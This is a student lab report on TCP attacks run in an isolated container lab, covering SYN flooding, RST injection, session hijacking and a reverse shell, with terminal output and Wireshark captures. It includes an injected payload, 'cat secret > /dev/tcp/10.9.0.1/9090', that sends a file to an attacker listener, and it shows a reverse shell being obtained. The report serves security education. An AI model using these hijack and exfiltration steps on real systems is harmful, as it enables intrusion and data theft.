CNS Lab 4 TCP Attack

PES1UG20CS084

Aryansh Bhargavan

Task 1: SYN Flooding Attack

Task 1.1 (Python)

- Viewing size of victim's queue and turning off SYN cookie

```
PES1UG20CS084@Victim:/# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 1024
PES1UG20CS084@Victim:/#  sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
PES1UG20CS084@Victim:/#
```

- Current queue usage

```
PES1UG20CS084@Victim:/# netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:37615        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
PES1UG20CS084@Victim:/#
```

Task 1.1 Launching Attack using Python

Executing `synflood.py`

while attack is running, checking connection queue:

```
PES1UG20CS084@Victim:/# netstat -tna
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:37615        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23             152.170.60.28:54980     SYN_RECV
tcp        0      0 10.9.0.5:23             203.226.77.81:49821     SYN_RECV
tcp        0      0 10.9.0.5:23             240.104.55.181:54913    SYN_RECV
tcp        0      0 10.9.0.5:23             243.113.157.39:23833    SYN_RECV
tcp        0      0 10.9.0.5:23             59.189.82.151:4164      SYN_RECV
tcp        0      0 10.9.0.5:23             138.199.23.147:50760    SYN_RECV
tcp        0      0 10.9.0.5:23             210.164.144.175:22552   SYN_RECV
tcp        0      0 10.9.0.5:23             216.48.125.134:37423    SYN_RECV
tcp        0      0 10.9.0.5:23             104.123.51.255:18999    SYN_RECV
tcp        0      0 10.9.0.5:23             149.254.121.182:42667   SYN_RECV
tcp        0      0 10.9.0.5:23             111.125.138.217:38594   SYN_RECV
tcp        0      0 10.9.0.5:23             75.61.236.167:6374      SYN_RECV
tcp        0      0 10.9.0.5:23             18.198.42.21:63201      SYN_RECV
tcp        0      0 10.9.0.5:23             241.171.50.201:39281    SYN_RECV
tcp        0      0 10.9.0.5:23             210.183.182.237:4876    SYN_RECV
tcp        0      0 10.9.0.5:23             191.125.204.223:8996    SYN_RECV
tcp        0      0 10.9.0.5:23             74.167.203.51:58306     SYN_RECV
```

Now that the attack is done, we try to telnet into the machine from `User-1`

```
PES1UG20CS084@User-1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
da3a68ccce7a login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.10.102.1-microsoft-standard-WSL2 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

- We are able to telnet into the machine since `10.9.0.6` is already cached, so reserved slots are used.
- Lowering our `syn backlog`

```
PES1UG20CS084@Victim:/# sysctl -w net.ipv4.tcp_max_syn_backlog=80
net.ipv4.tcp_max_syn_backlog = 80
PES1UG20CS084@Victim:/#
```

- Removing effect of reserved slots mitigation method

```
PES1UG20CS084@Victim:/# ip tcp_metrics show
10.9.0.6 age 348.360sec source 10.9.0.5
PES1UG20CS084@Victim:/# ip tcp_metrics flush
PES1UG20CS084@Victim:/#
```

Retrying the SYN Flood attack`

```
PES1UG20CS084@User-1:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
PES1UG20CS084@User-1:/#
```

Now the attack works

Task 1.2 (C)

Launching attack

```
PES1UG20CS084@Attacker:/volumes# synflood 10.9.0.5 23
```

Attempting telnet connection to victim

```
PES1UG20CS084@Attacker:/volumes# ls
hijack.py  reset.py  reset_auto.py  reverse.py  synflood  synflood.c  synflood.py
PES1UG20CS084@Attacker:/volumes# synflood 10.9.0.5 23
```

```
PES1UG20CS084@User-1:/# telnet 10.9.0.5
Trying 10.9.0.5...
telnet: Unable to connect to remote host: Connection timed out
PES1UG20CS084@User-1:/#
```

Task 2: TCP RST Attacks on Telnet Connections

Telnetting into `Victim` from `User-1`

```
PES1UG20CS084@User-1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
399ecff4aba0 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that a
re
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
```

Wireshark capture for the same

host 10.9.0.5 and tcp port 23

No.	Time	Source	Destination	Protocol	Length	Info
1	2022-09-25 07:4…	02:42:0a:09:00:06	Broadcast	ARP	42	Who has 10.9.0.5? T
2	2022-09-25 07:4…	02:42:0a:09:00:05	02:42:0a:09:00:06	ARP	42	10.9.0.5 is at 02:4
3	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TCP	74	39108 → 23 [SYN] Se
4	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TCP	74	23 → 39108 [SYN, AC
5	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TCP	66	39108 → 23 [ACK] Se
6	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TELNET	90	Telnet Data ...
7	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TCP	66	23 → 39108 [ACK] Se
8	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TELNET	78	Telnet Data ...
9	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TCP	66	39108 → 23 [ACK] Se
10	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TELNET	81	Telnet Data ...
11	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TCP	66	39108 → 23 [ACK] Se
12	2022-09-25 07:4…	10.9.0.6	10.9.0.5	TELNET	78	Telnet Data ...
13	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TCP	66	23 → 39108 [ACK] Se
14	2022-09-25 07:4…	10.9.0.5	10.9.0.6	TELNET	84	Telnet Data ...

Checking the last packet for source port and next seq number (highlighted)

```
Source Port: 39108
Destination Port: 23
[Stream index: 0]
[TCP Segment Len: 0]
Sequence number: 1045220827
[Next sequence number: 1045220827]
```

After filling the values and typing `ls` this is the wireshark capture

58	2022-09-25 08:0…	10.9.0.5	10.9.0.6	TELNET	68	Telnet Data ...
59	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	66	39120 → 23 [ACK] Seq=3675057348 Ack=1186190124 Win=64256 Len=…
60	2022-09-25 08:0…	10.9.0.5	10.9.0.6	TELNET	131	Telnet Data ...
61	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	66	39120 → 23 [ACK] Seq=3675057348 Ack=1186190189 Win=64256 Len=…
62	2022-09-25 08:0…	10.9.0.5	10.9.0.6	TELNET	411	Telnet Data ...
63	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	66	39120 → 23 [ACK] Seq=3675057348 Ack=1186190534 Win=64128 Len=…
64	2022-09-25 08:0…	10.9.0.5	10.9.0.6	TELNET	150	Telnet Data ...
65	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	66	39120 → 23 [ACK] Seq=3675057348 Ack=1186190618 Win=64128 Len=…
66	2022-09-25 08:0…	10.9.0.5	10.9.0.6	TELNET	87	Telnet Data ...
67	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	66	39120 → 23 [ACK] Seq=3675057348 Ack=1186190639 Win=64128 Len=…
68	2022-09-25 08:0…	02:42:64:95:fb:4b	Broadcast	ARP	42	Who has 10.9.0.5? Tell 10.9.0.1
69	2022-09-25 08:0…	02:42:0a:09:00:05	02:42:64:95:fb:4b	ARP	42	10.9.0.5 is at 02:42:0a:09:00:05
70	2022-09-25 08:0…	10.9.0.6	10.9.0.5	TCP	54	39120 → 23 [RST] Seq=1186190639 Win=1048576 Len=0

A reset packet has been sent, terminating the TCP connection hence ending the telnet connection.

```
▸ Frame 70: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface br-57ad098dae2a, id 0
▸ Ethernet II, Src: 02:42:64:95:fb:4b (02:42:64:95:fb:4b), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▸ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
▾ Transmission Control Protocol, Src Port: 39120, Dst Port: 23, Seq: 1186190639, Len: 0
    Source Port: 39120
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 1186190639
    [Next sequence number: 1186190639]
    Acknowledgment number: 0
    Acknowledgment number (raw): 0
    0101 .... = Header Length: 20 bytes (5)
  ▸ Flags: 0x004 (RST)
    Window size value: 8192
    [Calculated window size: 1048576]
    [Window size scaling factor: 128]
    Checksum: 0xc6f9 [unverified]
    [Checksum Status: Unverified]
    Urgent pointer: 0
  ▸ [Timestamps]
```

Running `reset_auto.py` performs similar results:

Given below is the wireshark capture:

72	2022-09-25 07:5…	02:42:64:95:fb:4b	Broadcast	ARP	42 Who has 10.9.0.6? Tell 10.9.0.1
73	2022-09-25 07:5…	02:42:0a:09:00:06	02:42:64:95:fb:4b	ARP	42 10.9.0.6 is at 02:42:0a:09:00:06
74	2022-09-25 07:5…	10.9.0.5	10.9.0.6	TCP	54 23 → 39116 [RST] Seq=104178165 Win=1048576 Len=0
75	2022-09-25 07:5…	02:42:64:95:fb:4b	Broadcast	ARP	42 Who has 10.9.0.5? Tell 10.9.0.1
76	2022-09-25 07:5…	02:42:0a:09:00:05	02:42:64:95:fb:4b	ARP	42 10.9.0.5 is at 02:42:0a:09:00:05
77	2022-09-25 07:5…	10.9.0.6	10.9.0.5	TCP	54 39116 → 23 [RST] Seq=2728115790 Win=1048576 Len=0
78	2022-09-25 07:5…	10.9.0.6	10.9.0.5	TCP	54 39116 → 23 [RST] Seq=2728115790 Win=1048576 Len=0
79	2022-09-25 07:5…	10.9.0.5	10.9.0.6	TCP	54 23 → 39116 [RST] Seq=104178166 Win=1048576 Len=0
80	2022-09-25 07:5…	10.9.0.5	10.9.0.6	TCP	54 23 → 39116 [RST] Seq=104178166 Win=1048576 Len=0
81	2022-09-25 07:5…	10.9.0.6	10.9.0.5	TCP	54 39116 → 23 [RST] Seq=2728115791 Win=1048576 Len=0
82	2022-09-25 07:5…	10.9.0.6	10.9.0.5	TCP	54 39116 → 23 [RST] Seq=2728115791 Win=1048576 Len=0

Task 3: TCP Session Hijacking

Using command `cat "secret123" > secret` I created a secret file on the victim machine remotely (from the telnet connection established between the victim and user).

I then established a new connection and this is the wireshark capture for the same:

299	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TCP	66 39134 → 23 [ACK] Seq=696167334 Ack=1951022255 Win=64128 Len=0…
300	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TELNET	67 Telnet Data ...
301	2022-09-25 08:1…	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
302	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TCP	66 39134 → 23 [ACK] Seq=696167335 Ack=1951022258 Win=64128 Len=0…
303	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TELNET	67 Telnet Data ...
304	2022-09-25 08:1…	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
305	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TCP	66 39134 → 23 [ACK] Seq=696167336 Ack=1951022261 Win=64128 Len=0…
306	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TELNET	67 Telnet Data ...
307	2022-09-25 08:1…	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
308	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TCP	66 39134 → 23 [ACK] Seq=696167337 Ack=1951022264 Win=64128 Len=0…
309	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TELNET	67 Telnet Data ...
310	2022-09-25 08:1…	10.9.0.5	10.9.0.6	TELNET	69 Telnet Data ...
311	2022-09-25 08:1…	10.9.0.6	10.9.0.5	TCP	66 39134 → 23 [ACK] Seq=696167338 Ack=1951022267 Win=64128 Len=0…

```
▸ Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface br-57ad098dae2a, id 0
▸ Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▸ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
▾ Transmission Control Protocol, Src Port: 39134, Dst Port: 23, Seq: 696167166, Len: 0
    Source Port: 39134
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 696167166
    [Next sequence number: 696167167]
    Acknowledgment number: 0
    Acknowledgment number (raw): 0
    1010 .... = Header Length: 40 bytes (10)
  ▸ Flags: 0x002 (SYN)
    Window size value: 64240
    [Calculated window size: 64240]
    Checksum: 0x144b [unverified]
    [Checksum Status: Unverified]
    Urgent pointer: 0
  ▸ Options: (20 bytes), Maximum segment size, SACK permitted, Timestamps, No-Operation (NOP), Window scale
  ▸ [Timestamps]
```

- `source port: 39134`
- `destination port: 23`
- `next sequence number: 696167167`
- `acknowledgement number: 0`
- `iface: br-57ad098dae2a`

Launching the attack

No.	Time	Source	Destination	Protocol	Length	Info
76	2022-09-25 09:0…	10.9.0.5	10.9.0.1	TCP	66	58892 → 9090 [ACK] Seq=3703691480 Ack=1664217152 Win=64256 Le…
77	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TELNET	87	Telnet Data ...
78	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
79	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
80	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
81	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
82	2022-09-25 09:0…	02:42:0a:09:00:05	02:42:0a:09:00:06	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
83	2022-09-25 09:0…	02:42:0a:09:00:06	02:42:0a:09:00:05	ARP	42	10.9.0.6 is at 02:42:0a:09:00:06
84	2022-09-25 09:0…	02:42:0a:09:00:05	02:42:64:95:fb:4b	ARP	42	Who has 10.9.0.1? Tell 10.9.0.5
85	2022-09-25 09:0…	02:42:64:95:fb:4b	02:42:0a:09:00:05	ARP	42	10.9.0.1 is at 02:42:64:95:fb:4b
86	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
87	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…
88	2022-09-25 09:0…	10.9.0.5	10.9.0.6	TCP	149	[TCP Retransmission] 23 → 39160 [PSH, ACK] Seq=1237420248 Ack…

```
▸ Frame 63: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface br-57ad098dae2a, id 0
▸ Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
▸ Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
▾ Transmission Control Protocol, Src Port: 39160, Dst Port: 23, Seq: 1072228782, Ack: 1237420248, Len: 0
    Source Port: 39160
    Destination Port: 23
    [Stream index: 0]
    [TCP Segment Len: 0]
    Sequence number: 1072228782
    [Next sequence number: 1072228782]
    Acknowledgment number: 1237420248
    1000 .... = Header Length: 32 bytes (8)
  ▸ Flags: 0x010 (ACK)
    Window size value: 501
    [Calculated window size: 64128]
    [Window size scaling factor: 128]
    Checksum: 0x1443 [unverified]
    [Checksum Status: Unverified]
    Urgent pointer: 0
  ▸ Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
  ▸ [SEQ/ACK analysis]
  ▸ [Timestamps]
```

Contents of secret file:

```
PES1UG20CS084@Attacker:/volumes# nano hijack.py
PES1UG20CS084@Attacker:/volumes# nc -l 9090 & python3 hijack.py
[2] 65
version    : BitField  (4 bits)                  = 4                (4)
ihl        : BitField  (4 bits)                  = None             (None)
tos        : XByteField                          = 0                (0)
len        : ShortField                          = None             (None)
id         : ShortField                          = 1                (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>      (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0                (0)
ttl        : ByteField                           = 64               (64)
proto      : ByteEnumField                       = 6                (0)
chksum     : XShortField                         = None             (None)
src        : SourceIPField                       = '10.9.0.6'       (None)
dst        : DestIPField                         = '10.9.0.5'       (None)
options    : PacketListField                     = []               ([])
--
sport      : ShortEnumField                      = 39160            (20)
dport      : ShortEnumField                      = 23               (80)
seq        : IntField                            = 1072228782       (0)
ack        : IntField                            = 1237420248       (0)
dataofs    : BitField  (4 bits)                  = None             (None)
reserved   : BitField  (3 bits)                  = 0                (0)
flags      : FlagsField  (9 bits)                = <Flag 16 (A)>    (<Flag 2 (S)>)
window     : ShortField                          = 8192             (8192)
chksum     : XShortField                         = None             (None)
urgptr     : ShortField                          = 0                (0)
options    : TCPOptionsField                     = []               (b'')
--
load       : StrField                            = b'\r cat secret > /dev/tcp/10.9
.0.1/9090 \r' (b'')
secret123

[1]-  Done                    nc -l 9090
PES1UG20CS084@Attacker:/volumes#
```

> notice contents at the bottom : `secret123`

Task 4: Creating Reverse Shell using TCP Session Hijacking

> First we telnet into `victim` from `User-1`

```
PES1UG20CS084:Aryansh:~
$>telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
399ecff4aba0 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content t
re
not required on a system that users do not log into.
```

Running the netcat server and executing `reverse.py`

```
PES1UG20CS084@Attacker:/volumes# nc -l 9090 &
[8] 190
PES1UG20CS084@Attacker:/volumes# python3 reverse.py
```

After typing `ls` a few times, reverse shell shows up on attacker machine

```
PES1UG20CS084@Attacker:/volumes# nc -l 9090 &
[9] 199
PES1UG20CS084@Attacker:/volumes# python3 reverse.py
seed@399ecff4aba0:~$ ls
```

Now we can view the secret file

```
PES1UG20CS084@Attacker:/volumes# nc -l 9090
seed@399ecff4aba0:~$ cat secret
cat secret
secret123

seed@399ecff4aba0:~$
```